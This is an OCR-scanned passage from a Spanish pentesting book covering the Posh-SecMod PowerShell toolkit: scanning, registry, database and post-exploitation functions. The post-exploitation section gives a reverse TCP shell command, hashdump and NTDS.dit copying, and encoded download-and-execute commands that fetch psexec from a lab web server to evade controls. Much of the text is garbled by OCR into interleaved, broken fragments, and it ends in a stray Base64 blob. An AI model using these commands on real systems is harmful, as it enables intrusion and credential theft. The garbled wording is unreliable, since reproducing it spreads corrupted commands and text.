i pali:r::go a hexadecimal, etcétera. Este ,“?édulo,hﬁa de ng disponer de otras
transformar Ff)n 3o sosioiies; & ALY interesante y util a la
la enumeracion )

herramientas en el sistema.

Enumera los usuarios pertenecientes al dominio mostrando
informacion como el nombre de cuenta o SAMAccount, ruta

Get-duditDSUserAsousnt DN en el dominio, datos sobre la contrasefia como la fecha de
2f- A Ser, . sof . v ’ ’ , Sy

. a realizar parseos de ficheros XML de e modificacion. expiracion de ésta, etcétera. Ademds, informa-

parse. Este modulo proporciona RanGrofts por cién sobre los grupos a los que pertenece el usuario, el tltimo
= arse. 5 5 A

e A% el iden
Nmap o DNSRecon. . na funciones que pueden ser utilizadas Pa;d lntegzczgar logon o el identificador de seguridad S7D
lo proporciona tu a base de datos ite. i Enumera las cuentas de usuario que se encuentran bloqueadas
. Database.dE:te 1;33?@ dpo c‘;nectar y realizar consultas' c;mtr:c:1 :iI:')n casiva s e puely Get-AuditDSLockedUserdcount q q
S. inform
con bases de datos, > tes tanto para tratar ! hivos SQLi
i eden ser interesan i ioar ciertos archivos SQLite

e p?ase previa del pentesting, cOmo para investig:
recopilar en una

en el dominio

Get-AuditDSDisabledUserA-

Enumera las cuentas de usuario que se encuentran deshabilita-
count
encontrados durante el proceso.

das en el dominio
3 2 iten interactuar con estas : . E
VirusTotal, Shodan y Metasploit. Estos mod\ﬂ:Z 13;‘:;5 AU S Ger-AuditDSDeleteddccount Enumera las cuentas de u;g:;zigue se han eliminado en el
- Nessus, Virt d i integracion o us ? .
; icios simplificando su Integ ido en modulos propios - -
herramientas y servllC - 51?2; 1.3 de: P osh-SecMod se han conver;dol VirusTotal, con sus Get-AuditlnstallSoftware Devuelve el listado de software instalado
o . En la vers = ) 5 an osh- » — ° 3
de Power Sheél Posh-Metasploit, Posh-Nessus, Posh Shoci1 ! L)(,)lecciéﬂ de ensamblados y Esta funcién recupera las marcas de tiempo de un archivo, el
el ), T 1 una ¢ < . ’ s o

con los T}O‘“dreéi’ Hub propios. Posh-Nessus proporciona mas famosos. Posh-Metasploit cual es pasado a través del parametro —fi/e. La informacién

e : automatizar el uso de uno de los escancf‘[’-s‘t Framework a través de la APl Get-AuditFileTimeStamp que se recupera es el (ltimo acceso, la dltima escritura, la

funciones Pa;a ciones para automatizar el uso de Meta.sPlf’lar descubrimiento de maquinas fecha de creacion, la fecha y hora de modificacion. la cual no

P"oPOra%napunh Shodan proporciona funciones paraprea; 1szm sTotal proporciona funciones se muestra en las propiedades de un fichero

MLRPC. Posh- s API key. Posh-Viru: o
Xtilizando ¢l servicio Shodan ulthandoTun [A E:raVéS de una AP1 key. Se trataran mas 7;jelame Tahla 3.14: Funciones de Audit en Posh-SeeMod,
e ) ricio de VirusTotal a ine desde PowerShell.
interactuar con €l servicio : . entesting desde i ) : ) ,
Rme mte,r;tl s, ya que aportan y son interesantes para el 7 El segundo madulo a tratar es Database. Estas funciones permiten al pentester interactuar con una
estos modulos, bas ite:
¢ de datos SQLire:
ar ilidades basicas,
i ara comenz jonados con las utili v —— o
Médulos p stran los modulos de Posh-SecMod relaczjong tos y funciones de auditoria. Funcion Descripcion
0 se mues i base de da 3 : ; 7 e ¥
Bef SHEBpAIEED #2 arseos sobre ficheros, gestion de to de las funcionalidades ques¢ N : Permite crear una conexién a base de datos SOLite 3. La conexion
tratamiento de registro, par izaran algunas pruebas de concep an las funciones Connect-DBSQLite3 . ——
ior comprension se realizaran alg sdulo del que se enumeraran 1as es almacenada en 8Global:sqliteconn
ra una mejor =1 primer modu == = A == g :
P? cen en estos modulos de Posh-SecMod. E1 p Elimina una conexidn SQLite. Para eliminar la conexién se le tie-
(c)]'re e Aot Remove-DBSQLite3Con-
15p D % !__T

el nection
Descripcion -
P funcion enumera las sesiones logadas en una_renz;l;,lxllzﬂ
E(Sl:;aurllriternamente esta funcion utiliz_a eclslt:;itg "
% i se quiere saber qué sesion :

Rt Po'r ej:;‘:ilc?'s:l;s;cll?:jecutar Get-A uditLogegOnSesswm |

i where-object {$_.processes —gr_‘_}.__m_os____—-

ra los equipos pertenecientes a_l domnmc:3 ol

anume .60 sobre las versiones de sistema op il ol

'mfonnaluo:lné uinas, el service pack, la r.uta D sy
ejewtﬁn:?nio (L direccion IP de la maquina, etc

)

ne que indicar el index adecuado. En caso de no pasarle un index
se lleva a cabo la eliminacién de todas las conexiones, por ejem-
plo Get-DBSQLite3Connection | Remove-SOLite3Connection

—

Get-DBSQLite3Connection

Enumera las diferentes conexiones abiertas con la base de datos
Ejecuta consultas SQL contra una conexién existente. Para indicar
la conexion que se quiere utilizar se dispone del pardmetro index.

Un ejemplo valido es Invoke-SQLite3Query -SQL “SELECT
nombre FROM tablal;” —Index 1. Esta instruccion devolvera los

valores del campo nombre que se encuentra en la tablal a través
\ del uso de la conexi6n con identificador 1

Tabla 3.15: Funciones de Database en Posh-SecMod,

Invoke-§ OLite3Query

Get-AuditDSComputerAccount
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El tercer modulo a tratar €s Parse. Est

archivos de herramiema_s. como
condiciones que se requieran.
puede llevar un \{olca
tener la informacion estruc

Juntando funciones del médg:llo
do organizado de informacion c'le una) e'r.r’
turada y organizada. El modulo Parse

as fuuClOlle.s pe”““e“ ‘l‘ p(_mESMZI yarsear de ‘OIl“d SB[lCl“a
l

: 50 las
: ficheros en funcion de
i i ;thsse y del modulo Database se

amienta a una base de datos donde
proporciona 2 funciones:

Nmap ©

Funcion

Descripcion

Import-NmapXML

leccion de
lmporta un fichero XML de Nmap'y devu?lve urlxa Sc:aseo o
:']:los los cuales representan la informacion del e
e encuentra en el fichero XML

Imporl—DNSRecon.\’ML

Importa un fichero XML de la herramient_a DNSﬁe::;;::;do
l’:)lla)jetos con la informacién que ;;/c[)lpo\rc:?;:llzm f-F,'[,e,- SR,V
output..
iemplo, Import-DNSReconAML . o e -
. ?e”:)%‘ctos f:’on informacion de los Service Record reporta
e dos por DNSRecon

Tubla 3.16: Funciones de

El cuarto modulo a tratar
acciones de forma comoda en ¢

es Reaistry. Con estas funciones el p
£=J »

Puarse en Pash-SeeMad.
entester puede manejarse y realizar

| registro de la maquina.

Funcion

Descripcion

Get-RegKeys

R §
-an dentro de una clave d
ue se encuentran

mera las claves q :
- registro

New-RegKey

i /e indicada
Crea una clave de registro dentro de la clave

&, ’
Remove-RegKey

; s
Elimina una clave de registro indicad

Get-RegValues

i B¢ > una clave de
Enumera los valores y los tipos de éstos de u

registro indicada

Test-RegKeyAccess

cacion del registro indi-

i se tiene acceso a la ubi ‘
bt rmiso que se tiene sobre

~ N c
cada. Ademas, chequea ellnpo 3:\pp.“-émem, g v
icacid vés del uso a 5 «l
la ubicacion. A tra ; : . b o
srecunta a la funcion si se tienc permiso paln;g . propimﬁo‘
:as acliminar claves, modificar valores, cambia

eteétera

Set-RegValue

¢ indicada

] i ‘/
Modificar o poner un valor a una clav

Get-RegValue

Recupera el valor de la clave

Remove-RegValue

ific ave
Elimina un valor especifico de una cl

Get-RegKe_vSecurityDe.s'criplor

i |a lista de
Enumera el propictario de una clave de registro’y

de dichaclave

control de acceso

Tubla 3.17: Funciones de Registry en Posh-SecMod,

r
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ster pequenas utilidades
oleccién de herramientas

El quinto modulo a tratar es Utility. Estas funciones proporcionan al pente;
que pueden ser necesitadas en algiin instante en el pentest. Esta pequena c
proporciona diferentes acciones y. en algunos casos, muy diferentes.

Funcion Descripcion

Esta funcion permite descargar un archivo desde una direccion
URL y almacenarlo en una ruta local

Get-WebFile

New-Zip Crea un nuevo fichero Zip con contenido
Add-Zip Afiade contenido a un fichero Zip
Get-ZipChildltems _Recurse Lista el contenido del fichero Zip de forma recursiva
Get-Zip Lista el contenido del fichero Zip
Bxpan 2o Descomprime el contenido del fichero Zip y lo almacena en una

ruta la cual se indica como pardametro

Esta funcién recibe un fichero y devuelve el hash de dicho
archivo en formato MD35. SHA1, SHA256. SHA 384 0 SHASI2.
Como ejemplo se indica /s *eve | Get-FilelHash
Permite la descarga de la tltima version de las herramientas de
Sysinternals. La ruta dénde se descargan se indica en la inv
cién de la funcién

Enumera los objetos COM disponibles en el sistema local
Lista la version que se estd utilizando de Posh-SecMod e indica
cudl es la tltima version disponible

Ger-FileHash

Update-SysinternalsTools oca-

Get-ComObject

Get-PoshSec ModVersion

Tabla 3.18: Funciones de Utility en Posh-SeeMod.

Discovery

Este modulo permite al pentester disponer de funciones que
fingerprinting. Todas las funciones que se
lécnicas internas como externas, ya que
descubrimiento.

ayudan en el proceso de footprinting y
pueden encontrar en él son utilizables tanto en auditorias
permiten de una u otra manera facilitar el proceso de

Una de las caracteristicas de las funciones de escanco
que permiten realizar un escaneo bésico de di
funciones que se pueden encontrar en este

que se encuentran en el médulo Discovery es
ferentes formas, e incluso a diferentes niveles de red.
modulo son mas de 10 y se describen a continuacion:

Funcion Descripeién

l P 4 . ’/ :. - - —
Get-Whois Realiza una consulta Whois sobre un dominio que se le proporciona

a la funcion
Enumera los registros mDNS que se encuentran en la red local

Get-MDNSRecozds
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Descripcion
4 o IPv6 segun el rango indica-
192.168.1.1-192.168.1.10

{as en el rango proporcia-

Funcion

Genera una coleccion de objetos IPv

N '-]PR mge s
il ang do. Por ejemplo, New-[PRange Range

Genera un listado de direcciones IP indicac
nado a la funcion
Genera un listado de direcciones [P a través de una red que se pro-

porciona a la funcion. Por ejemplo, rew-1Pv6FromCIDR —Network
192.168.1.0/32

Realiza resolucién inversa. La funcién admite diferentes opciones

irecciones IP, por ejemplo Invole-Rever-
/> o Invoke-ReverseDNSLookup —Range
<direccion IP final>

New-IPv4Range

New-IPv4FromCIDR

para generar el listado ded
seDNSLookup —~CIDR <rec
<direccion IP inicial>-
a través de ICMP contra un rango de direcciones
a través del parametro Range. También se puede

Invoke-ReverseDNSLoo-
kup

Realiza un escaneo

[nvoke-PingScan IP proporcionadas
utilizar el parametro —CIDR

Realiza un escaneo completo a trav ¢s del protocolo TCPy

UDP. Por ¢jemplo, Invoke-PortScan -Target 192.168. 1.3 -Ports
22.135.139,445 -Type TCP

eo ARP sobre la red local. Este tipo de escaneo

cubrir maquinas conectadas a la red local

S del sistema local

Invoke-PoriScan

Realiza un escan

Invoke-ARPScan A
permite des

Enumera los servidores DN

Get-SystemDNSServer

Enumera los registros SRV del DNS dado un dominio

Invoke-EnumSRVRecords

un nombre de dominio 0 FQDN a su registro CNAME, A

o AAAA

Realiza consultas especificas contra un servidor DNS. Por ejemplo,
Resolve-DNSRecord -Targel microsoft.com -Tipe MX

a una direccién 1P a formato /n-

Resuelve
Resolve-HostRecord

Resolve-DNSRecord

Conviene una String que represent
Addr-ARPA

ConveriTo-InAddrARPA

Tabla 3.19: Fumciones de Discovery en Posh-SecMod.

PoC: Tipos de escaneos

En esta prueba de concepto se estudiaran di
de maquinas en unared, ya sea local o rem
proporciona 3 funciones para realizar d
funciones relacionadas con el protocolo DNS.

oke-PingScan 0 Invoke-PortScan ayudar

ferentes funciones que permiten realizar un descubrimiento
ota. Principalmente el modulo Discovery de Posh-SecMod
escubrimiento de maquinas directamente, omitiendo 1as

Las funciones Invoke-ARPScan, Inv an al pentester @
reconocer méaquinas en la red.

Capitulo I1l. PowerShell puro: El arte del pentesting

_NER

La primera funcié
10n es /nvoke-ARPSc
permite conocer el nume,{OU:“ 41{\/ LS.u.m. la cual es muy (til en una red de ambito 1
MAC de éstas de maquinas que existe en la red y | oL O Sty oedl, ym gl
‘ " y la relacion direccion IP — Direceid
o on

m

S q
. I( l ran
€ p q 1 S / (=4 (// ue tlaba 1 I de ]Ld n blO !
I >SCanco €s a nive (k, Cll[ace Of ) que 1o rewa q an a nive 0 lea

S D:\lihl'u::\ entesti = D
926896924 esting powershell\Posh-SecMod-master\Disc
scover

y> Invoke-ARPScan -MaxThreads 18 -CIDR|

Address
192.168.56.1
192.16ﬁ.56.lg‘13
192.168.56.192
192.168.56.183
192.168.56.255

S D:N\libros\pentestir S S clMod-master SCOVEel
p 1 powershel1\Posh-SecM
d ster\Discou
t 11 D By

V; 1g, 3.21: Desc whrim ento de maguinas a nivel de e, ace con # .
L I (¢ 7 nivel de enl, n ARP S
: i,

El escaneo por pr
otocolo ARP se reduce ¢ T
broadcast que es la /f’/f‘-ff’ﬁ“ffﬂe‘ l-cfi uce a la realizacion de una peticion ARP Request a la direccié
S qHE B emmdo a 2 d I)l;.guntando por una direccion IP en concreto, Se | : (‘j ac lireccmn
NG ; /lado a todas las maquinas ST — ’ . OS¢ puede traducir en
(Quicn tiene la direccion 1P X? Como | o de la red a nivel de direccion MAC y que pregunts
i O L ege s TP 5 e : d 0 la funcion Invoke-4ARPScan permite al usuar i;\ pregania,
- . . @ aves ¢ = < ar Y . 4
CODR, s pel it ¢s del pardmetro Range, o una mascara de red. a travé 4
3/% ountar a todas las maaui ‘ . a través del parimetr
e guntar a todas las maquinas que se quier: e % traves del parametro
conectividad. quiera para ver si estan encendidas
as y con

El escaneo por IC
4VRS MP es el que se i x "
de cortar ya que se podria bllo USL i.mPle@lu en la funcién Invoke-PingScan. Es realm )
Es un escaneo rapido y que dcl :al. es deur‘. hacer que la maquina dcsliﬁo |-eclla;as¢(|a f?"te hch'I’HU
coii gt 2 1 primer vistazo puede aportar conocimi g contestacion.
$ maquinas de una red, ya sea local o remota cimiento sobre la conectividad
.

S D:\1i ros\pentesting powershe osh—seclod- rer scov - -
s Les a S overy c
N\ ter\Discovery> Inuvoke-Pin Scan -CIDR 192 16 6
9 I
) test hell\Posh-SecMod D I .168.56.8

1 192.168.56.10
B 193,168 56 109

powershellNPosh-SecMod-master\Discovery)

g 3.24 e LR nescanco a €S8 e UG re
d

JeCUHCTE e u Ca aves de 1P en un f
F Eje fan de 1, ) ma TCM/ 11ec

La funcig
? cion /nvoke-Por i
riSe "OPOrcion:
o i o) 'un proporciona un escaneo de puertos a través del protocolo T
“ ¥ Darame Time ep N 1 : oy : l
realizar un escaneo di‘pl nttro Tipe se puede elegir entre uno de los dos prot (l e
g see lertos contr: - e ‘ SEsEa: W5 Hosds
CIDR, o dircctamente  yo: ltontra un grupo de maquinas, por ejemplo utilizando el SL'I)“L(IL
- una en conc e : ~ando ¢l parametro
-~y a una creto utilizando el par o
pe T e— ' o ot S e ’
Y25 s ind Hk.'lal una serie de puertos a escanear por ejem 111)‘ i m‘“‘" s
Tl ks T plo si se quiere escanear el puerto 22, 23
Fn] - l R e e T .
‘M 1d Imagen g i
agen se puede visualizar la ¢j 10
ol izar la ejecucion de esta i6n dd i
o i iy a funcién dénde se obtiene como resultado los
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scovery Invoke-PortScan —Target 192.168.56.

IS D:\libros\pentesting powcrshull\Posh—SecHod—ma:;tel-\Di
H@3 -Type ICP —Ports 21,22.88,445.5008
Type

H92.168.56.1083
H92.168.56.183

92 .1 :
92 .168.56.103 445 Open

ouex'shell\Push—SecHud—naster\Di:cuuer- >
Fig. 3.23: Ejecucion de un escaneo de puertos TCP.
En algunos casos puede ser interesante mezclar estas funciones con seripting basico o con
canalizacion de objetos para potenciar el uso de las funciones.

realizar un escaneo sobre una maquina concreta a un rango de puertos lo
mo para no poder enumerar €n la linea de comandos todos los puertos
", Para generar una coleccién de nimeros entre un
<valor minimo=..<valor maximo>, por

Por ejemplo, para poder
suficientemente grande co
se puede hacer uso del operador de rango
valor minimo y un valor maximo se ejecuta la instruccion
ejemplo 20..500. Esta instruccion devolvera 480 lineas dénde cada linea es un numero empezando
por el 20, 21, hasta ¢l 500, Utilizando canalizacion se podria pasar cada numero a foreach para que
itere sobre ellos de la siguiente manera 20..500 | foreach { Invoke-PortScan —Target <direccion IP>
-Ports $_-Type TCP }. La variable especial §_ ira cogiendo los diferentes valores entre el 20 y el
500 por cada iteracion, tal y como puede visualizarse en la imagen.

IPS D:N\libros\pentesting nmmrshe11\Posh—SecNod-—master\Discouery) 2@..588 ! foreach {Invoke-PortScan

Target 192.168.56.183 —Type TCP —Ports $2>

192 168 .56-103
92 .168.56.103

Fig. 3.24: Seleccionando un rango de puertos TCP con Invoke-Portscan.

La funcion Invoke-ReverseDNSLookup permite al pentester obtener el nombre de dominio o de
maquina a través de la resolucion inversa de una direccion 1P. La funcién dispone del pardmetro
Range y CIDR para configurar rangos de direcciones IP o escanear una red a través del uso de la
i se quieren escanear direcciones IP de diferentes redes o muy variadas, las cuales

mascara de red. S
a ello, por lo que se puede hacer un

no son consecutivas, la funcion no dispone de un pardmetro par
ejercicio sencillo de canalizacion.
ea introduce una direccion

En primer lugar el pentester crea un archivo de texto dénde por cada lin
e_iccumra'l una

IP. Este fichero sera pasado a traveés de un pipe a foreach donde por cada iteracion se
llamada a esta funcion con un rango para una sola direccion IP, en este caso la que corresponda en
sjecutar es cat <fichero con direcciones IP> | foreach { Invoke:

cada iteracion. La instruccion a €]
ReverseDNSLookup —Range 8_-8_ ). La variable §_ es utilizada en el parametro Range pard poner

el minimo y el maximo del rango, en este caso es el mismo valor.

Capitulo I1l. PowerShell puro: El arte del pentesting

D:\1libros\pentestin owe sh- —-mas s
> . o p)u rshell\Posh-SecMod-master\Discovery> cat \ip.txt ! foreach {Invoke—Reu
b - s ! 3 h {1 :

public—-dns-a.google.con pidrezs ot
{8.8.8.8>
{8.8.4.4>

{feB@::4e9:e464: s P
19216 00 taas s o aAat23.

jgoogle-public—dns— 3
a7 1T Pache Togal  dle-con
ASPLOITABLE

PS D:\libros sti
ibros\pentesting powvershell\Posh-SecMod-naster\Discouey

Ei 25 R av: s 5
r. 3.23: Resolucion inversa de divec iones 200 das da rraves fiehera personalizado.
g 7 A direcc 1es 1P obtenid 2 i
{ ) 2 rsa A 2 traves de ficher W i /
/ Persc alizado.

Post-Explotacion con Posh-SecMod

I mOdlllO dC 1 U\'IE b i j 1
l, D X )/U 2 f g
con la fase de post . /”“’I()II de Posh-SecMod presenta un gran nimero de funciones relacionad
a Id (S SI-ex, 75 o> % R sa i e
T fticionas ]p) - xplotacion de un test de intrusion. Como se puede leer en la descri LI 'OI'” ddeS
as ciones ¢ entester ol d' o1 ar N Q 3 r AP
]l.{ 4 /] [g'/] )f d l : l?quk L\t]l llldl de dlvel'-as ODCIOHCS ])al'él Oblcnel. illfOFlﬂ'lCiGH ](.( l n)
S leC dlf asnes, ae las n]aqll”]?lh a las que s¢ accede sibili ( \i : Saighatin
: 5 O S C d s I 1()'|h]l ] ac Hdi (
en diversos tOI nato i y & a PoOs Ida C descarﬂc r codigo gjecutable
> €rsos . l. ‘d s. la 1)(1slbllltldd de gjecutar procesos de forma rei i ket
(ILI DIOIOCOIO l( P_ eic ?‘nl“]-ﬂ, a remota, una 5‘/[6’// Inversa a traves

I"\'lL' Iﬂ(dLllO €S L C ] i [
> } S uno (l 2 das O1¢ S d I P
v l ‘”Li(" n )[ - i ] ];’5 111as TUnCIOﬂLllC}- L[E'I C(Ul]lll]l() lL\'/i—SUP \/4)(/ ’IUI]LIH 1 ] i
€ 0 1 € eSLo de ) o X : $ PNERSORo) 1 ¢:COma € ha 1do
cncire e modulos h{‘l) funcionalidades muy interesantes para la realizacic ‘c‘\|r —
! S S pdra la realizacion el peniest

A continuacion se muestr: funci i
¢ wiacion se muestran las funciones disponibles en el madulo:

Funcion
Descripceion

Esta funcion convierte un comando en formato Stine en un
cpm;mln z'*m'm/rm/n en Base64. Como ejemplo \-: pnl.:\ 3| t: Ill"
‘sllgu'wn,lc instruceion (_"(’i]'l'(.’!‘//l)—HL[_\'(’64&‘()/”/)1(”‘](/ ;L«’:;;t/‘/.;];/lr/';:

H/l“‘,(;/(:-;,zri,;/l? ‘/.I('//u H“{l/"/L‘/“ d.;mdo como salida ¢wBy i(_u’\:—!‘u‘,;—
AaABvAHMAdAAgA CeAaABIAGwWAbABYACAAd By A-
HIABABKACeA. o

Convertio-PostBase64Com-
mand

ci HIe renreeenta ¢ - n i 5 . - o
/((/\ C represd a €l CO 1N4ao C\('ll( ansio F:

Transforma ¢l content j
an I|AL rma ¢l contenido de un seript en un EncodedCommand.
0 bie ~ans forms: ~ i =il ’ e
SR e ien ll.m;lol ma un comando directamente ¢n un Enco-
Seri dedCommand. La funcién admi { :
5. admite un parametro /il i
JSile que recibe

una ruta de un script para transfor i
ipt para transformar, o un pardmetro com-

s Esta funcid A AT v
Mo - i:lnutm genera un EncodedCommand que descarga un
.‘VLI:[ )/ alzl I A Y 7 a1 M\ 1 e
pt de PowerShell y lo ejecuta en el sistema de la sicuiente

, .
PostDownloadExecuteScript
forma PowerShell.exe —F 3

a PowerShell.exe —EncodedCommeand <conmand>

Sta ILIHLH)H f C i y (&4 Wi i 2QSCATOL
. gencra un Lruncode AN 1€ cai
l / /( ol /L escarga u

\'('H',' [ K S { ) SO0 SIS o
‘ 4L\f[,.)llll /7/(‘(/(/ “xec ePE SUICTIE
Xeculc [ L ai I'(/.l‘ dL b‘\' esy l(, ejeCU[ﬂ &()l e C[ l iema th‘ IZ] S1 Ui t
S < cIE

forma PowerShell.exe —E ;
a PowerShell.exe - EncodedCommand <command=>
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Funcién Descripeion

Esta funcién ejecuta un proceso en una méaquina remota a
través del lenguaje WMI

Esta funcion genera un comando que permite realizar un
volcado de hashes de la maquina, cominmente conocido como
hashdump. Como ejemplo se presenta la siguiente instruc-
cién Scom = Gei-PostHashdumpScript, 1a cual almacena en
la variable $com el comando que se ejecutard a posteriori con
PowerShell.exe -command Scom
Esta funcién proporciona un EncodedCommand, el cual crea
una conexién inversa que proporciona una shell. Generalmen-
te esta funcion es utilizada junto a Start-PostRemoteFrocess.
Get-PostReverTCPShell Como ejemplo se presenta la instruccion $com = Get-PostRe-
verShell -LHOST 192.168.1.104 -L PORT 4444. Después la
variable Scom puede ser utilizada por funciones que gjecuten
procesos

Copia el fichero NTDS.dit. el cual es el fichero que almacena
arios y maquinas de un dominio en

Start-PostRemoteProcess

Get-PostHashdumpScript

; ’ informacion sobre los usu
Get-PostCopyNTDS i = ;
P un controlador de dominio, utilizando Volume Shadow Copy.

Por defecto, el fichero se copiard en la ruta Semv:TEMP
¢ bytes en hexadecimal

Convierte un fichero en un array d

Convierte un array de bytes en hexadecimal al fichero origi-
ansformar un binario en

3 nal. Con estas 2 funciones se puede tr:
ConvertTo-PostHextoFile S : -
contenido hexadecimal y meterlo en un fichero de texto para
introducirlo en un sistema

ConvertTo-PostFiletoHex

Devuelve un listado de conexiones en formato String

Get-Webconfig
ion Pool y contraseiias de

Devuelve un listado de los Applicat
los directorios virtuales

Get-ApplicationHost

Tubla 3.20: Funciones de PostEx ©loitation en Posh-SecMod.
!

PoC: Base64, compresion, descargasy ejecucion
a probar diferentes funciones relacionadas con la gjecucion de
ar ficheros externos y poder ejecutarlos, Estas funciones
pueden ayudar a un penfester a conseguir descargar el fichero, ya sea instrucciones en PowerShell o
un binario, en lamaquina donde se encuentre o en una maquina remota. Quiza. el mejor escenario para
utilizar estas funciones sean méaquinas Windows sobre las que el pentester no tiene privilegio, pero
si que puede ejecutar instrucciones en una PowerShell, ya sea porque tiene acceso local o remoto.
Puede que el pentester se encuentre en un entorno sobre el que no puede instalar aplicaciones. y N0

dispone de sus herramientas.

Fn esta prueba de concepto se van
codigo en Base64, la posibilidad de descarg

Capitulo I1l. PowerShell puro: El arte del pentesting n

La primera funcié S
1 que se muestra en esta pr
A sta prucba de concepto es C
o W i % epto es Compress-PostScri S
; l - . stSeript. Con ests
e i dil:de' comprimir el contenido de un scripr y almacenarlo en una i'ui hl1 o
2 = ‘: > 3 1A 7 : ‘v : ’1 . -
es la variable que almag:es n;udmnu la instruccion PowerShell.exe —Command Sfile (L:l(');ld L;/S;”
S na el contenido del script ( i hisa -
R . de forma co i i '
visualizar un pequefio ej : P mprimida. En la. im¢ * ?
pequenio ejemplo de un seripr que ejecuta 3 palabras por pantalla R
< .

PS C:\Users\pgonzalez\
P : SEr'S za sktop>
_ C‘.\IJ:.- -::\pgun:‘,alez\[)c:;kt:uﬂ) cat .\p.psi

rs\pgonzalez\Desktop> JUY i
o io:nenm‘yst b : p> Compre ipt —File C:\Use s\pgonzalez\Desktop\p.psi
n ,$([C020e)~t]::F10rr§ = *S@30yF npre:;siun.DeflatcStn'~g;n : 3
ek : yFEIyM9JSOUKxcrk5Q1A* At
S\pQ ssktopd> §file fmﬁf:?gf?g}]’ S(:I!>>‘H”°dT°E“d()‘; Bl il e
s\pgonzalez\Desktop> puucrs]mll.eer:comnmgglrSl?gI;Flle C:\Users\pgonzaln:::\Dc:;ktop\p el

xpression $(New-Object 10.Str ‘ - New-0b 10
=Object 0

PS G:\Users\pgonzalez\Desktop)>

/ ig. 3.26: Com, resion de tin ﬁ( hiero de Power! 1ell para Su posierior efe o
.
D H 1 \Y) ”/ F oI ejeccion,

La segunda funcién que se pres

i s ;]d;:a]rz j:;:ﬁfi:/grssbﬁ de tconccpto es .\"cw-Pn.wDo\rn!oad/;'.\-ec'ur«.?(-r/'pL
comando en PowerShell que se encuentra en b’u:‘z]()(:.l? p\ur%f Z]: ltz1211111/;’1:1.;”6/(;(1(;()”:Immd. N

8 jecutable.

Una de las cosas interesante

A desca,-f_,;:-gt;i ci,l:fa s:pule.cien hacer con esta funcion es la descarga de un scrips
o e :l,uc % en;u ‘1 H:le “h;l de concepto pr_oporcionu al pentester la posibilidad /dc.
s g i Entla u1 /f('l.’\'(’64 en un fichero de texto. Es decir. supongase que
ficheros tx7. los cuales conlic1]1cn :1 t(t;“«]d”._eccmn ‘IP 192,168.56.101 un servidor web d('mdi ‘ol‘rlce
e el e n‘ l(,il(?]‘() .lranslm'mzulu en Base64. La idea es que con la funcion
e t,-ansfo,-m‘a,-z',i] :Z tt‘?s.ccziuguc an fichero #xr de los que se ofrece en el servidor
e e ntenido del fichero rxz en un EncodedCommand. el cual podra

A continuacidn se muestra el codi T a—
un binario, un 5('/'{'/);.Lt;lll(]l(fc]':s::lllo e tm,d “”-]Cmn en PowerShell que transforma un fichero. va sea
en Basetd, La ejeenoion de asta f‘u(: 0 }“‘F‘,lﬁll"lcr cosa en un fichero que contiene su rcprcscniac;(w:]
a transformar: /7;)1' &l E‘\’ ,»LL“.).H ~LS M.‘f]Cl“H C (,m}'cl'/'/Z)-Bu.vuﬁ»‘l _SourceFilePath <Fiche

o plo un EXE> -TargetFilePath <Fichero donde se almacena en Bugt»@;'—.”'

2Fath)
FilePath)
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! h he 0
! ha Lllth&dO ‘a l'llll(.l()l'l anterior pud generar un C i

¢ de Svsinternals. El objetivo del pentester es

En esta prueba de concepto el penteste sr
diéndose extrapolar esto a cualquier

crramienta psexe
txt que contiene el Base64 de la h‘ula'rplem% I e
d scarear este EXE desde una ubicacion bd._]O su . a iy
1 . ngienta o archivo que ¢l pentester necesite duran
herral

i i yriginal.
La siguiente funcidn convierte Base64 al fichero orig

para recuperar el fichero psexec. e.\é‘e.‘
maquina donde estd el pentesier, Csi€
de Posh-SecMod.

rtFrom-Basebd

se la bajard con la

function Cor

ng) SEath

on download|
ram/( -
iParame:ez(MaﬁdatoLy)l

La idea es que estd funcion

Esta funcion seré utilizada por el pentester
i 1o se encuentra directamente en la

funcion New-PostDownloadExecuteScript

Capitulo [Il. PowerShell puro: EI arte del pentesting

(8trl
[Parame=z

letring] &p
[Parameter (M:
~ing] $ip

S€.TXL -TargetFilePath SpathTarget

Target .\psexec.exe =ip 192.168.56.101

Dentro del fichero se tiene en la (ltima linea la instruccion download -path psexec.ixt -pathTarget
Jpsexec.exe -ip 192.168.56.101. Cuando se ejecute la siguiente instruceion PowerShell.exe

-EncodedCommand (Nen'-Pulemlvz/oac/l:ﬂx‘e(-uleSc‘/'i/)l ~Url htip://192.168.56.101/dovnload.
(t), se abrira una nueva sesién de PowerShell y se ejecutara el resultado de la instruccion New-
PostDownloadExecuteScript -Url htip://192.168.56.101/download. ixt. Esta (ltima instruccion
genera un EncodedCommand que lo que realmente realiza es la ejecucion del contenido del fichero
download.1xt, por esta razén la altima linea del fichero download.txt es download -path psexec. iy
-pathTarget \psexec.exe -ip 192.168.56.101 para, una vez cargadas las funciones, ejecutarias.

Puede parecer algo enrevesado, pero si se aplica paso a paso se vera sencillo, Este proceso permite
obtener cualquier tipo de archivo en la méquina remota intentando evadir algunos controles que
pudieran existir.

ﬂ:okBKBk"GqFBsLXhuOlJNadNFthquX/c4/H9kaNoth?3ESlk/arp'DRDuleQxXRBIfZBRHUjU2QiZVKtx?tNNGUI1CTt
th3PhBZ8NiU3oe*FSuBbDlyUNBenUQ/Grn313?03LJJYZS/3/:SthEaﬁ21Ph23ckypsudhpuITU?Kr*ugSquVHchwlkEke
NmyRQthuPBgﬂb7/PJLKﬂShu6GCRiguyylkngqhkiG?wBBCQnggIUHIlCEQlBQTCﬂij3HquCQYDUQQGEHJUUZETHBEGﬂlU
HWHKUZanGIUZ3Rub'EQHﬂqcnlUEDxHHUnUkb”?uZDHeHBuCQIUEChHUTUljcm9zbZZBIENuanuanadU9uHSEwH
hNalINyh3NUZnQgU Gt S1TdGFtcCBQQAEC nﬂﬂﬂﬁJDFﬂyaDBeYﬂﬂﬂﬂﬂﬂﬂDQuCQYFKUGDﬂhDFﬂKBdHBgGCSqGSIh3DQEJﬁzELH
ukghkiGIwABBuEWH KUZIhucNﬂQkFHQHKDTEDHDQyODIxNDUleouluYJKnZIhucNﬂQkENHYEFNNBTUPB?aQNBSGUdeKtSKD
! E .HHQURB]IBnﬂuj027p7NZ/lnkGPHOluau+U1KNer/HQOBQuLchBJ4sK2u6LI?*aQNanlxnn34b1Uth
73 i deXEtP[hQngRHTPmLUBIHFYNdJRUS?qBNHuUkDZeGSSHDCQi
2 7Jgs KNGUUQUI3TNBe0rGOﬂd’3C”DZB«rJaPUXHdl?SHUOSEGSdn4pﬂ
9xeryHGHzNUL?Pa/TOkQUGhB3unvuer5au/3nS'2h9hUnn4HRuﬁUﬂﬂﬂﬂﬂ
lez\Desktop)>
